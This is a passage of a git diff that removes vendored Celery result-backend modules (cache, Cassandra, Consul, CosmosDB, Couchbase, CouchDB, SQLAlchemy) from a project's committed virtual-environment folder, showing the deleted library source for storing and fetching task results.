_strip_prefix(self, key): - """Take bytes: emit string.""" - key = self.key_t(key) - for prefix in self.task_keyprefix, self.group_keyprefix: - if key.startswith(prefix): - return bytes_to_str(key[len(prefix):]) - return bytes_to_str(key) - - def _filter_ready(self, values, READY_STATES=states.READY_STATES): - for k, value in values: - if value is not None: - value = self.decode_result(value) - if value['status'] in READY_STATES: - yield k, value - - def _mget_to_results(self, values, keys, READY_STATES=states.READY_STATES): - if hasattr(values, 'items'): - # client returns dict so mapping preserved. - return { - self._strip_prefix(k): v - for k, v in self._filter_ready(values.items(), READY_STATES) - } - else: - # client returns list so need to recreate mapping. - return { - bytes_to_str(keys[i]): v - for i, v in self._filter_ready(enumerate(values), READY_STATES) - } - - def get_many(self, task_ids, timeout=None, interval=0.5, no_ack=True, - on_message=None, on_interval=None, max_iterations=None, - READY_STATES=states.READY_STATES): - interval = 0.5 if interval is None else interval - ids = task_ids if isinstance(task_ids, set) else set(task_ids) - cached_ids = set() - cache = self._cache - for task_id in ids: - try: - cached = cache[task_id] - except KeyError: - pass - else: - if cached['status'] in READY_STATES: - yield bytes_to_str(task_id), cached - cached_ids.add(task_id) - - ids.difference_update(cached_ids) - iterations = 0 - while ids: - keys = list(ids) - r = self._mget_to_results(self.mget([self.get_key_for_task(k) - for k in keys]), keys, READY_STATES) - cache.update(r) - ids.difference_update({bytes_to_str(v) for v in r}) - for key, value in r.items(): - if on_message is not None: - on_message(value) - yield bytes_to_str(key), value - if timeout and iterations * interval >= timeout: - raise TimeoutError(f'Operation timed out ({timeout})') - if on_interval: - on_interval() - time.sleep(interval) # don't busy loop. - iterations += 1 - if max_iterations and iterations >= max_iterations: - break - - def _forget(self, task_id): - self.delete(self.get_key_for_task(task_id)) - - def _store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - meta = self._get_result_meta(result=result, state=state, - traceback=traceback, request=request) - meta['task_id'] = bytes_to_str(task_id) - - # Retrieve metadata from the backend, if the status - # is a success then we ignore any following update to the state. - # This solves a task deduplication issue because of network - # partitioning or lost workers. This issue involved a race condition - # making a lost task overwrite the last successful result in the - # result backend. - current_meta = self._get_task_meta_for(task_id) - - if current_meta['status'] == states.SUCCESS: - return result - - try: - self._set_with_state(self.get_key_for_task(task_id), self.encode(meta), state) - except BackendStoreError as ex: - raise BackendStoreError(str(ex), state=state, task_id=task_id) from ex - - return result - - def _save_group(self, group_id, result): - self._set_with_state(self.get_key_for_group(group_id), - self.encode({'result': result.as_tuple()}), states.SUCCESS) - return result - - def _delete_group(self, group_id): - self.delete(self.get_key_for_group(group_id)) - - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - meta = self.get(self.get_key_for_task(task_id)) - if not meta: - return {'status': states.PENDING, 'result': None} - return self.decode_result(meta) - - def _restore_group(self, group_id): - """Get task meta-data for a task by id.""" - meta = self.get(self.get_key_for_group(group_id)) - # previously this was always pickled, but later this - # was extended to support other serializers, so the - # structure is kind of weird. - if meta: - meta = self.decode(meta) - result = meta['result'] - meta['result'] = result_from_tuple(result, self.app) - return meta - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - self.ensure_chords_allowed() - header_result = self.app.GroupResult(*header_result_args) - header_result.save(backend=self) - - def on_chord_part_return(self, request, state, result, **kwargs): - if not self.implements_incr: - return - app = self.app - gid = request.group - if not gid: - return - key = self.get_key_for_chord(gid) - try: - deps = GroupResult.restore(gid, backend=self) - except Exception as exc: # pylint: disable=broad-except - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord %r raised: %r', gid, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Cannot restore group: {exc!r}'), - ) - if deps is None: - try: - raise ValueError(gid) - except ValueError as exc: - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord callback %r raised: %r', gid, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'GroupResult {gid} no longer exists'), - ) - val = self.incr(key) - # Set the chord size to the value defined in the request, or fall back - # to the number of dependencies we can see from the restored result - size = request.chord.get("chord_size") - if size is None: - size = len(deps) - if val > size: # pragma: no cover - logger.warning('Chord counter incremented too many times for %r', - gid) - elif val == size: - callback = maybe_signature(request.chord, app=app) - j = deps.join_native if deps.supports_native_join else deps.join - try: - with allow_join_result(): - ret = j( - timeout=app.conf.result_chord_join_timeout, - propagate=True) - except Exception as exc: # pylint: disable=broad-except - try: - culprit = next(deps._failed_join_report()) - reason = 'Dependency {0.id} raised {1!r}'.format( - culprit, exc, - ) - except StopIteration: - reason = repr(exc) - - logger.exception('Chord %r raised: %r', gid, reason) - self.chord_error_from_stack(callback, ChordError(reason)) - else: - try: - callback.delay(ret) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', gid, exc) - self.chord_error_from_stack( - callback, - ChordError(f'Callback error: {exc!r}'), - ) - finally: - deps.delete() - self.delete(key) - else: - self.expire(key, self.expires) - - -class KeyValueStoreBackend(BaseKeyValueStoreBackend, SyncBackendMixin): - """Result backend base class for key/value stores.""" - - -class DisabledBackend(BaseBackend): - """Dummy result backend.""" - - _cache = {} # need this attribute to reset cache in tests. - - def store_result(self, *args, **kwargs): - pass - - def ensure_chords_allowed(self): - raise NotImplementedError(E_CHORD_NO_BACKEND.strip()) - - def _is_disabled(self, *args, **kwargs): - raise NotImplementedError(E_NO_BACKEND.strip()) - - def as_uri(self, *args, **kwargs): - return 'disabled://' - - get_state = get_status = get_result = get_traceback = _is_disabled - get_task_meta_for = wait_for = get_many = _is_disabled diff --git a/backend/venv/Lib/site-packages/celery/backends/cache.py b/backend/venv/Lib/site-packages/celery/backends/cache.py deleted file mode 100644 index ad79383c..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/cache.py +++ /dev/null @@ -1,163 +0,0 @@ -"""Memcached and in-memory cache result backend.""" -from kombu.utils.encoding import bytes_to_str, ensure_bytes -from kombu.utils.objects import cached_property - -from celery.exceptions import ImproperlyConfigured -from celery.utils.functional import LRUCache - -from .base import KeyValueStoreBackend - -__all__ = ('CacheBackend',) - -_imp = [None] - -REQUIRES_BACKEND = """\ -The Memcached backend requires either pylibmc or python-memcached.\ -""" - -UNKNOWN_BACKEND = """\ -The cache backend {0!r} is unknown, -Please use one of the following backends instead: {1}\ -""" - -# Global shared in-memory cache for in-memory cache client -# This is to share cache between threads -_DUMMY_CLIENT_CACHE = LRUCache(limit=5000) - - -def import_best_memcache(): - if _imp[0] is None: - is_pylibmc, memcache_key_t = False, bytes_to_str - try: - import pylibmc as memcache - is_pylibmc = True - except ImportError: - try: - import memcache - except ImportError: - raise ImproperlyConfigured(REQUIRES_BACKEND) - _imp[0] = (is_pylibmc, memcache, memcache_key_t) - return _imp[0] - - -def get_best_memcache(*args, **kwargs): - # pylint: disable=unpacking-non-sequence - # This is most definitely a sequence, but pylint thinks it's not. - is_pylibmc, memcache, key_t = import_best_memcache() - Client = _Client = memcache.Client - - if not is_pylibmc: - def Client(*args, **kwargs): # noqa: F811 - kwargs.pop('behaviors', None) - return _Client(*args, **kwargs) - - return Client, key_t - - -class DummyClient: - - def __init__(self, *args, **kwargs): - self.cache = _DUMMY_CLIENT_CACHE - - def get(self, key, *args, **kwargs): - return self.cache.get(key) - - def get_multi(self, keys): - cache = self.cache - return {k: cache[k] for k in keys if k in cache} - - def set(self, key, value, *args, **kwargs): - self.cache[key] = value - - def delete(self, key, *args, **kwargs): - self.cache.pop(key, None) - - def incr(self, key, delta=1): - return self.cache.incr(key, delta) - - def touch(self, key, expire): - pass - - -backends = { - 'memcache': get_best_memcache, - 'memcached': get_best_memcache, - 'pylibmc': get_best_memcache, - 'memory': lambda: (DummyClient, ensure_bytes), -} - - -class CacheBackend(KeyValueStoreBackend): - """Cache result backend.""" - - servers = None - supports_autoexpire = True - supports_native_join = True - implements_incr = True - - def __init__(self, app, expires=None, backend=None, - options=None, url=None, **kwargs): - options = {} if not options else options - super().__init__(app, **kwargs) - self.url = url - - self.options = dict(self.app.conf.cache_backend_options, - **options) - - self.backend = url or backend or self.app.conf.cache_backend - if self.backend: - self.backend, _, servers = self.backend.partition('://') - self.servers = servers.rstrip('/').split(';') - self.expires = self.prepare_expires(expires, type=int) - try: - self.Client, self.key_t = backends[self.backend]() - except KeyError: - raise ImproperlyConfigured(UNKNOWN_BACKEND.format( - self.backend, ', '.join(backends))) - self._encode_prefixes() # rencode the keyprefixes - - def get(self, key): - return self.client.get(key) - - def mget(self, keys): - return self.client.get_multi(keys) - - def set(self, key, value): - return self.client.set(key, value, self.expires) - - def delete(self, key): - return self.client.delete(key) - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - chord_key = self.get_key_for_chord(header_result_args[0]) - self.client.set(chord_key, 0, time=self.expires) - return super()._apply_chord_incr( - header_result_args, body, **kwargs) - - def incr(self, key): - return self.client.incr(key) - - def expire(self, key, value): - return self.client.touch(key, value) - - @cached_property - def client(self): - return self.Client(self.servers, **self.options) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - servers = ';'.join(self.servers) - backend = f'{self.backend}://{servers}/' - kwargs.update( - {'backend': backend, - 'expires': self.expires, - 'options': self.options}) - return super().__reduce__(args, kwargs) - - def as_uri(self, *args, **kwargs): - """Return the backend as an URI. - - This properly handles the case of multiple servers. - """ - servers = ';'.join(self.servers) - return f'{self.backend}://{servers}/' diff --git a/backend/venv/Lib/site-packages/celery/backends/cassandra.py b/backend/venv/Lib/site-packages/celery/backends/cassandra.py deleted file mode 100644 index 4ca071d2..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/cassandra.py +++ /dev/null @@ -1,256 +0,0 @@ -"""Apache Cassandra result store backend using the DataStax driver.""" -import threading - -from celery import states -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import BaseBackend - -try: # pragma: no cover - import cassandra - import cassandra.auth - import cassandra.cluster - import cassandra.query -except ImportError: - cassandra = None - - -__all__ = ('CassandraBackend',) - -logger = get_logger(__name__) - -E_NO_CASSANDRA = """ -You need to install the cassandra-driver library to -use the Cassandra backend. See https://github.com/datastax/python-driver -""" - -E_NO_SUCH_CASSANDRA_AUTH_PROVIDER = """ -CASSANDRA_AUTH_PROVIDER you provided is not a valid auth_provider class. -See https://datastax.github.io/python-driver/api/cassandra/auth.html. -""" - -E_CASSANDRA_MISCONFIGURED = 'Cassandra backend improperly configured.' - -E_CASSANDRA_NOT_CONFIGURED = 'Cassandra backend not configured.' - -Q_INSERT_RESULT = """ -INSERT INTO {table} ( - task_id, status, result, date_done, traceback, children) VALUES ( - %s, %s, %s, %s, %s, %s) {expires}; -""" - -Q_SELECT_RESULT = """ -SELECT status, result, date_done, traceback, children -FROM {table} -WHERE task_id=%s -LIMIT 1 -""" - -Q_CREATE_RESULT_TABLE = """ -CREATE TABLE {table} ( - task_id text, - status text, - result blob, - date_done timestamp, - traceback blob, - children blob, - PRIMARY KEY ((task_id), date_done) -) WITH CLUSTERING ORDER BY (date_done DESC); -""" - -Q_EXPIRES = """ - USING TTL {0} -""" - - -def buf_t(x): - return bytes(x, 'utf8') - - -class CassandraBackend(BaseBackend): - """Cassandra/AstraDB backend utilizing DataStax driver. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`cassandra-driver` is not available, - or not-exactly-one of the :setting:`cassandra_servers` and - the :setting:`cassandra_secure_bundle_path` settings is set. - """ - - #: List of Cassandra servers with format: ``hostname``. - servers = None - #: Location of the secure connect bundle zipfile (absolute path). - bundle_path = None - - supports_autoexpire = True # autoexpire supported via entry_ttl - - def __init__(self, servers=None, keyspace=None, table=None, entry_ttl=None, - port=None, bundle_path=None, **kwargs): - super().__init__(**kwargs) - - if not cassandra: - raise ImproperlyConfigured(E_NO_CASSANDRA) - - conf = self.app.conf - self.servers = servers or conf.get('cassandra_servers', None) - self.bundle_path = bundle_path or conf.get( - 'cassandra_secure_bundle_path', None) - self.port = port or conf.get('cassandra_port', None) or 9042 - self.keyspace = keyspace or conf.get('cassandra_keyspace', None) - self.table = table or conf.get('cassandra_table', None) - self.cassandra_options = conf.get('cassandra_options', {}) - - # either servers or bundle path must be provided... - db_directions = self.servers or self.bundle_path - if not db_directions or not self.keyspace or not self.table: - raise ImproperlyConfigured(E_CASSANDRA_NOT_CONFIGURED) - # ...but not both: - if self.servers and self.bundle_path: - raise ImproperlyConfigured(E_CASSANDRA_MISCONFIGURED) - - expires = entry_ttl or conf.get('cassandra_entry_ttl', None) - - self.cqlexpires = ( - Q_EXPIRES.format(expires) if expires is not None else '') - - read_cons = conf.get('cassandra_read_consistency') or 'LOCAL_QUORUM' - write_cons = conf.get('cassandra_write_consistency') or 'LOCAL_QUORUM' - - self.read_consistency = getattr( - cassandra.ConsistencyLevel, read_cons, - cassandra.ConsistencyLevel.LOCAL_QUORUM) - self.write_consistency = getattr( - cassandra.ConsistencyLevel, write_cons, - cassandra.ConsistencyLevel.LOCAL_QUORUM) - - self.auth_provider = None - auth_provider = conf.get('cassandra_auth_provider', None) - auth_kwargs = conf.get('cassandra_auth_kwargs', None) - if auth_provider and auth_kwargs: - auth_provider_class = getattr(cassandra.auth, auth_provider, None) - if not auth_provider_class: - raise ImproperlyConfigured(E_NO_SUCH_CASSANDRA_AUTH_PROVIDER) - self.auth_provider = auth_provider_class(**auth_kwargs) - - self._cluster = None - self._session = None - self._write_stmt = None - self._read_stmt = None - self._lock = threading.RLock() - - def _get_connection(self, write=False): - """Prepare the connection for action. - - Arguments: - write (bool): are we a writer? - """ - if self._session is not None: - return - self._lock.acquire() - try: - if self._session is not None: - return - # using either 'servers' or 'bundle_path' here: - if self.servers: - self._cluster = cassandra.cluster.Cluster( - self.servers, port=self.port, - auth_provider=self.auth_provider, - **self.cassandra_options) - else: - # 'bundle_path' is guaranteed to be set - self._cluster = cassandra.cluster.Cluster( - cloud={ - 'secure_connect_bundle': self.bundle_path, - }, - auth_provider=self.auth_provider, - **self.cassandra_options) - self._session = self._cluster.connect(self.keyspace) - - # We're forced to do concatenation below, as formatting would - # blow up on superficial %s that'll be processed by Cassandra - self._write_stmt = cassandra.query.SimpleStatement( - Q_INSERT_RESULT.format( - table=self.table, expires=self.cqlexpires), - ) - self._write_stmt.consistency_level = self.write_consistency - - self._read_stmt = cassandra.query.SimpleStatement( - Q_SELECT_RESULT.format(table=self.table), - ) - self._read_stmt.consistency_level = self.read_consistency - - if write: - # Only possible writers "workers" are allowed to issue - # CREATE TABLE. This is to prevent conflicting situations - # where both task-creator and task-executor would issue it - # at the same time. - - # Anyway; if you're doing anything critical, you should - # have created this table in advance, in which case - # this query will be a no-op (AlreadyExists) - make_stmt = cassandra.query.SimpleStatement( - Q_CREATE_RESULT_TABLE.format(table=self.table), - ) - make_stmt.consistency_level = self.write_consistency - - try: - self._session.execute(make_stmt) - except cassandra.AlreadyExists: - pass - - except cassandra.OperationTimedOut: - # a heavily loaded or gone Cassandra cluster failed to respond. - # leave this class in a consistent state - if self._cluster is not None: - self._cluster.shutdown() # also shuts down _session - - self._cluster = None - self._session = None - raise # we did fail after all - reraise - finally: - self._lock.release() - - def _store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Store return value and state of an executed task.""" - self._get_connection(write=True) - - self._session.execute(self._write_stmt, ( - task_id, - state, - buf_t(self.encode(result)), - self.app.now(), - buf_t(self.encode(traceback)), - buf_t(self.encode(self.current_task_children(request))) - )) - - def as_uri(self, include_password=True): - return 'cassandra://' - - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - self._get_connection() - - res = self._session.execute(self._read_stmt, (task_id, )).one() - if not res: - return {'status': states.PENDING, 'result': None} - - status, result, date_done, traceback, children = res - - return self.meta_from_decoded({ - 'task_id': task_id, - 'status': status, - 'result': self.decode(result), - 'date_done': date_done, - 'traceback': self.decode(traceback), - 'children': self.decode(children), - }) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - kwargs.update( - {'servers': self.servers, - 'keyspace': self.keyspace, - 'table': self.table}) - return super().__reduce__(args, kwargs) diff --git a/backend/venv/Lib/site-packages/celery/backends/consul.py b/backend/venv/Lib/site-packages/celery/backends/consul.py deleted file mode 100644 index a4ab1484..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/consul.py +++ /dev/null @@ -1,116 +0,0 @@ -"""Consul result store backend. - -- :class:`ConsulBackend` implements KeyValueStoreBackend to store results - in the key-value store of Consul. -""" -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import parse_url - -from celery.backends.base import KeyValueStoreBackend -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -try: - import consul -except ImportError: - consul = None - -logger = get_logger(__name__) - -__all__ = ('ConsulBackend',) - -CONSUL_MISSING = """\ -You need to install the python-consul library in order to use \ -the Consul result store backend.""" - - -class ConsulBackend(KeyValueStoreBackend): - """Consul.io K/V store backend for Celery.""" - - consul = consul - - supports_autoexpire = True - - consistency = 'consistent' - path = None - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - if self.consul is None: - raise ImproperlyConfigured(CONSUL_MISSING) - # - # By default, for correctness, we use a client connection per - # operation. If set, self.one_client will be used for all operations. - # This provides for the original behaviour to be selected, and is - # also convenient for mocking in the unit tests. - # - self.one_client = None - self._init_from_params(**parse_url(self.url)) - - def _init_from_params(self, hostname, port, virtual_host, **params): - logger.debug('Setting on Consul client to connect to %s:%d', - hostname, port) - self.path = virtual_host - self.hostname = hostname - self.port = port - # - # Optionally, allow a single client connection to be used to reduce - # the connection load on Consul by adding a "one_client=1" parameter - # to the URL. - # - if params.get('one_client', None): - self.one_client = self.client() - - def client(self): - return self.one_client or consul.Consul(host=self.hostname, - port=self.port, - consistency=self.consistency) - - def _key_to_consul_key(self, key): - key = bytes_to_str(key) - return key if self.path is None else f'{self.path}/{key}' - - def get(self, key): - key = self._key_to_consul_key(key) - logger.debug('Trying to fetch key %s from Consul', key) - try: - _, data = self.client().kv.get(key) - return data['Value'] - except TypeError: - pass - - def mget(self, keys): - for key in keys: - yield self.get(key) - - def set(self, key, value): - """Set a key in Consul. - - Before creating the key it will create a session inside Consul - where it creates a session with a TTL - - The key created afterwards will reference to the session's ID. - - If the session expires it will remove the key so that results - can auto expire from the K/V store - """ - session_name = bytes_to_str(key) - - key = self._key_to_consul_key(key) - - logger.debug('Trying to create Consul session %s with TTL %d', - session_name, self.expires) - client = self.client() - session_id = client.session.create(name=session_name, - behavior='delete', - ttl=self.expires) - logger.debug('Created Consul session %s', session_id) - - logger.debug('Writing key %s to Consul', key) - return client.kv.put(key=key, value=value, acquire=session_id) - - def delete(self, key): - key = self._key_to_consul_key(key) - logger.debug('Removing key %s from Consul', key) - return self.client().kv.delete(key) diff --git a/backend/venv/Lib/site-packages/celery/backends/cosmosdbsql.py b/backend/venv/Lib/site-packages/celery/backends/cosmosdbsql.py deleted file mode 100644 index e32b13f2..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/cosmosdbsql.py +++ /dev/null @@ -1,218 +0,0 @@ -"""The CosmosDB/SQL backend for Celery (experimental).""" -from kombu.utils import cached_property -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import pydocumentdb - from pydocumentdb.document_client import DocumentClient - from pydocumentdb.documents import ConnectionPolicy, ConsistencyLevel, PartitionKind - from pydocumentdb.errors import HTTPFailure - from pydocumentdb.retry_options import RetryOptions -except ImportError: - pydocumentdb = DocumentClient = ConsistencyLevel = PartitionKind = \ - HTTPFailure = ConnectionPolicy = RetryOptions = None - -__all__ = ("CosmosDBSQLBackend",) - - -ERROR_NOT_FOUND = 404 -ERROR_EXISTS = 409 - -LOGGER = get_logger(__name__) - - -class CosmosDBSQLBackend(KeyValueStoreBackend): - """CosmosDB/SQL backend for Celery.""" - - def __init__(self, - url=None, - database_name=None, - collection_name=None, - consistency_level=None, - max_retry_attempts=None, - max_retry_wait_time=None, - *args, - **kwargs): - super().__init__(*args, **kwargs) - - if pydocumentdb is None: - raise ImproperlyConfigured( - "You need to install the pydocumentdb library to use the " - "CosmosDB backend.") - - conf = self.app.conf - - self._endpoint, self._key = self._parse_url(url) - - self._database_name = ( - database_name or - conf["cosmosdbsql_database_name"]) - - self._collection_name = ( - collection_name or - conf["cosmosdbsql_collection_name"]) - - try: - self._consistency_level = getattr( - ConsistencyLevel, - consistency_level or - conf["cosmosdbsql_consistency_level"]) - except AttributeError: - raise ImproperlyConfigured("Unknown CosmosDB consistency level") - - self._max_retry_attempts = ( - max_retry_attempts or - conf["cosmosdbsql_max_retry_attempts"]) - - self._max_retry_wait_time = ( - max_retry_wait_time or - conf["cosmosdbsql_max_retry_wait_time"]) - - @classmethod - def _parse_url(cls, url): - _, host, port, _, password, _, _ = _parse_url(url) - - if not host or not password: - raise ImproperlyConfigured("Invalid URL") - - if not port: - port = 443 - - scheme = "https" if port == 443 else "http" - endpoint = f"{scheme}://{host}:{port}" - return endpoint, password - - @cached_property - def _client(self): - """Return the CosmosDB/SQL client. - - If this is the first call to the property, the client is created and - the database and collection are initialized if they don't yet exist. - - """ - connection_policy = ConnectionPolicy() - connection_policy.RetryOptions = RetryOptions( - max_retry_attempt_count=self._max_retry_attempts, - max_wait_time_in_seconds=self._max_retry_wait_time) - - client = DocumentClient( - self._endpoint, - {"masterKey": self._key}, - connection_policy=connection_policy, - consistency_level=self._consistency_level) - - self._create_database_if_not_exists(client) - self._create_collection_if_not_exists(client) - - return client - - def _create_database_if_not_exists(self, client): - try: - client.CreateDatabase({"id": self._database_name}) - except HTTPFailure as ex: - if ex.status_code != ERROR_EXISTS: - raise - else: - LOGGER.info("Created CosmosDB database %s", - self._database_name) - - def _create_collection_if_not_exists(self, client): - try: - client.CreateCollection( - self._database_link, - {"id": self._collection_name, - "partitionKey": {"paths": ["/id"], - "kind": PartitionKind.Hash}}) - except HTTPFailure as ex: - if ex.status_code != ERROR_EXISTS: - raise - else: - LOGGER.info("Created CosmosDB collection %s/%s", - self._database_name, self._collection_name) - - @cached_property - def _database_link(self): - return "dbs/" + self._database_name - - @cached_property - def _collection_link(self): - return self._database_link + "/colls/" + self._collection_name - - def _get_document_link(self, key): - return self._collection_link + "/docs/" + key - - @classmethod - def _get_partition_key(cls, key): - if not key or key.isspace(): - raise ValueError("Key cannot be none, empty or whitespace.") - - return {"partitionKey": key} - - def get(self, key): - """Read the value stored at the given key. - - Args: - key: The key for which to read the value. - - """ - key = bytes_to_str(key) - LOGGER.debug("Getting CosmosDB document %s/%s/%s", - self._database_name, self._collection_name, key) - - try: - document = self._client.ReadDocument( - self._get_document_link(key), - self._get_partition_key(key)) - except HTTPFailure as ex: - if ex.status_code != ERROR_NOT_FOUND: - raise - return None - else: - return document.get("value") - - def set(self, key, value): - """Store a value for a given key. - - Args: - key: The key at which to store the value. - value: The value to store. - - """ - key = bytes_to_str(key) - LOGGER.debug("Creating CosmosDB document %s/%s/%s", - self._database_name, self._collection_name, key) - - self._client.CreateDocument( - self._collection_link, - {"id": key, "value": value}, - self._get_partition_key(key)) - - def mget(self, keys): - """Read all the values for the provided keys. - - Args: - keys: The list of keys to read. - - """ - return [self.get(key) for key in keys] - - def delete(self, key): - """Delete the value at a given key. - - Args: - key: The key of the value to delete. - - """ - key = bytes_to_str(key) - LOGGER.debug("Deleting CosmosDB document %s/%s/%s", - self._database_name, self._collection_name, key) - - self._client.DeleteDocument( - self._get_document_link(key), - self._get_partition_key(key)) diff --git a/backend/venv/Lib/site-packages/celery/backends/couchbase.py b/backend/venv/Lib/site-packages/celery/backends/couchbase.py deleted file mode 100644 index f01cb958..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/couchbase.py +++ /dev/null @@ -1,114 +0,0 @@ -"""Couchbase result store backend.""" - -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - from couchbase.auth import PasswordAuthenticator - from couchbase.cluster import Cluster -except ImportError: - Cluster = PasswordAuthenticator = None - -try: - from couchbase_core._libcouchbase import FMT_AUTO -except ImportError: - FMT_AUTO = None - -__all__ = ('CouchbaseBackend',) - - -class CouchbaseBackend(KeyValueStoreBackend): - """Couchbase backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`couchbase` is not available. - """ - - bucket = 'default' - host = 'localhost' - port = 8091 - username = None - password = None - quiet = False - supports_autoexpire = True - - timeout = 2.5 - - # Use str as couchbase key not bytes - key_t = str - - def __init__(self, url=None, *args, **kwargs): - kwargs.setdefault('expires_type', int) - super().__init__(*args, **kwargs) - self.url = url - - if Cluster is None: - raise ImproperlyConfigured( - 'You need to install the couchbase library to use the ' - 'Couchbase backend.', - ) - - uhost = uport = uname = upass = ubucket = None - if url: - _, uhost, uport, uname, upass, ubucket, _ = _parse_url(url) - ubucket = ubucket.strip('/') if ubucket else None - - config = self.app.conf.get('couchbase_backend_settings', None) - if config is not None: - if not isinstance(config, dict): - raise ImproperlyConfigured( - 'Couchbase backend settings should be grouped in a dict', - ) - else: - config = {} - - self.host = uhost or config.get('host', self.host) - self.port = int(uport or config.get('port', self.port)) - self.bucket = ubucket or config.get('bucket', self.bucket) - self.username = uname or config.get('username', self.username) - self.password = upass or config.get('password', self.password) - - self._connection = None - - def _get_connection(self): - """Connect to the Couchbase server.""" - if self._connection is None: - if self.host and self.port: - uri = f"couchbase://{self.host}:{self.port}" - else: - uri = f"couchbase://{self.host}" - if self.username and self.password: - opt = PasswordAuthenticator(self.username, self.password) - else: - opt = None - - cluster = Cluster(uri, opt) - - bucket = cluster.bucket(self.bucket) - - self._connection = bucket.default_collection() - return self._connection - - @property - def connection(self): - return self._get_connection() - - def get(self, key): - return self.connection.get(key).content - - def set(self, key, value): - # Since 4.0.0 value is JSONType in couchbase lib, so parameter format isn't needed - if FMT_AUTO is not None: - self.connection.upsert(key, value, ttl=self.expires, format=FMT_AUTO) - else: - self.connection.upsert(key, value, ttl=self.expires) - - def mget(self, keys): - return self.connection.get_multi(keys) - - def delete(self, key): - self.connection.remove(key) diff --git a/backend/venv/Lib/site-packages/celery/backends/couchdb.py b/backend/venv/Lib/site-packages/celery/backends/couchdb.py deleted file mode 100644 index a4b040da..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/couchdb.py +++ /dev/null @@ -1,99 +0,0 @@ -"""CouchDB result store backend.""" -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - import pycouchdb -except ImportError: - pycouchdb = None - -__all__ = ('CouchBackend',) - -ERR_LIB_MISSING = """\ -You need to install the pycouchdb library to use the CouchDB result backend\ -""" - - -class CouchBackend(KeyValueStoreBackend): - """CouchDB backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`pycouchdb` is not available. - """ - - container = 'default' - scheme = 'http' - host = 'localhost' - port = 5984 - username = None - password = None - - def __init__(self, url=None, *args, **kwargs): - super().__init__(*args, **kwargs) - self.url = url - - if pycouchdb is None: - raise ImproperlyConfigured(ERR_LIB_MISSING) - - uscheme = uhost = uport = uname = upass = ucontainer = None - if url: - _, uhost, uport, uname, upass, ucontainer, _ = _parse_url(url) - ucontainer = ucontainer.strip('/') if ucontainer else None - - self.scheme = uscheme or self.scheme - self.host = uhost or self.host - self.port = int(uport or self.port) - self.container = ucontainer or self.container - self.username = uname or self.username - self.password = upass or self.password - - self._connection = None - - def _get_connection(self): - """Connect to the CouchDB server.""" - if self.username and self.password: - conn_string = f'{self.scheme}://{self.username}:{self.password}@{self.host}:{self.port}' - server = pycouchdb.Server(conn_string, authmethod='basic') - else: - conn_string = f'{self.scheme}://{self.host}:{self.port}' - server = pycouchdb.Server(conn_string) - - try: - return server.database(self.container) - except pycouchdb.exceptions.NotFound: - return server.create(self.container) - - @property - def connection(self): - if self._connection is None: - self._connection = self._get_connection() - return self._connection - - def get(self, key): - key = bytes_to_str(key) - try: - return self.connection.get(key)['value'] - except pycouchdb.exceptions.NotFound: - return None - - def set(self, key, value): - key = bytes_to_str(key) - data = {'_id': key, 'value': value} - try: - self.connection.save(data) - except pycouchdb.exceptions.Conflict: - # document already exists, update it - data = self.connection.get(key) - data['value'] = value - self.connection.save(data) - - def mget(self, keys): - return [self.get(key) for key in keys] - - def delete(self, key): - self.connection.delete(key) diff --git a/backend/venv/Lib/site-packages/celery/backends/database/__init__.py b/backend/venv/Lib/site-packages/celery/backends/database/__init__.py deleted file mode 100644 index df03db56..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/database/__init__.py +++ /dev/null @@ -1,234 +0,0 @@ -"""SQLAlchemy result store backend.""" -import logging -from contextlib import contextmanager - -from vine.utils import wraps - -from celery import states -from celery.backends.base import BaseBackend -from celery.exceptions import ImproperlyConfigured -from celery.utils.time import maybe_timedelta - -from .models import Task, TaskExtended, TaskSet -from .session import SessionManager - -try: - from sqlalchemy.exc import DatabaseError, InvalidRequestError - from sqlalchemy.orm.exc import StaleDataError -except ImportError: - raise ImproperlyConfigured( - 'The database result backend requires SQLAlchemy to be installed.' - 'See https://pypi.org/project/SQLAlchemy/') - -logger = logging.getLogger(__name__) - -__all__ = ('DatabaseBackend',) - - -@contextmanager -def session_cleanup(session): - try: - yield - except Exception: - session.rollback() - raise - finally: - session.close() - - -def retry(fun): - - @wraps(fun) - def _inner(*args, **kwargs): - max_retries = kwargs.pop('max_retries', 3) - - for retries in range(max_retries): - try: - return fun(*args, **kwargs) - except (DatabaseError, InvalidRequestError, StaleDataError): - logger.warning( - 'Failed operation %s. Retrying %s more times.', - fun.__name__, max_retries - retries - 1, - exc_info=True) - if retries + 1 >= max_retries: - raise - - return _inner - - -class DatabaseBackend(BaseBackend): - """The database result backend.""" - 